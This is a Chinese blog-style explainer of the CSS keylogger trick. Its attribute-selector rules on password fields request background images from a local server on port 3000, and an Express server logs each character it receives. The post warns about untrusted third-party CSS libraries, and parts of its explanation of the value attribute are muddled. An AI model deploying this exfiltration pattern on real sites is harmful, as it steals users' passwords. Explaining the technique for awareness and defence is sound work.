你们懂的，CSS就是给网页打扮的好东西。可是你们知道么，CSS竟然也可以偷偷摸摸地记录我们输入的密码！这是不是听着吓人？但是别怕只要用对地方，这个小技巧可是相当牛逼的！
CSS记录密码的原理
来看看CSS如何偷看咱们的密码！简单来说，就是运用它自带的特殊功能。具体来说，CSS里面有个叫`input[type=”password”]`的神奇选择器，能够精准定位到网页里的密码框。接着，只要你的输入内容满足一定条件，例如以某个字符结束，那CSS就会悄悄调用`background-image`属性，发出个小请求给服务器，这样你刚输的密码就能被它成功窃取。
input[type="password"][value$="0"] {
background-image: url("http://localhost:3000/0");
}
input[type="password"][value$="1"] {
background-image: url("http://localhost:3000/1");
}
input[type="password"][value$="2"] {
background-image: url("http://localhost:3000/2");
}
第三方CSS库的风险
用网页开发的朋友们，都知道第三方的CSS库能省时省力。可是用这些库的时候得当心了，有的可能会暗藏一些隐患，比如说有时候就会涉及到用户的密码信息泄露问题。那么为了安全起见，咱们在用第三方CSS库时得特别注意，一定要先确认好这个库是不是安全可靠。
具体案例分析
input[type="password"][value$="0"] {
background-image: url("http://localhost:3000/0");
}
比如你在网上输了一串密码，末尾有个”0″，那CSS会用`input[type=”password”][value$=”0″]`这个规则找到你的密码框，再设置下背景图片，就能发个消息给服务器把密码记下来。听着玄乎？其实不难，会了就行。
服务器端的作用
当然！想要搞定这事儿，我们还得有一个服务器端的小伙伴儿帮忙才行~这个小伙伴儿会静静等待着在3000端口接收到咱们的请求，然后把大家输入的密码记下来。这样的话，就算在浏览器里，密码也不会直接暴露在`value`属性那里，反而能被小编们偷偷摸摸地全数记住！
安全防范措施
咋预防这事儿？首先嘞，网页开发时别用那种不靠谱的第三方CSS库；其次，给CSS加个安全套，控制下功能就能有效避免了；最后，定时查查更新咱的代码，保证网页安全无忧。
const express = require("express");
const app = express();
app.get("/:key", (req, res) => {
process.stdout.write(req.params.key);
return res.sendStatus(400);
});
app.listen(3000, () => console.log("启动，监听3000端口"));
结语与思考
别忘了，CSS这玩意儿可厉害了，但若用得不恰当，就可能变成伤人害己的武器。那么，咱在用CSS时可得小心翼翼，保护好咱们网站和用户信息才行。最后，问问大伙儿：每次用第三方的CSS库时，有没想过安全这个事儿？
评论0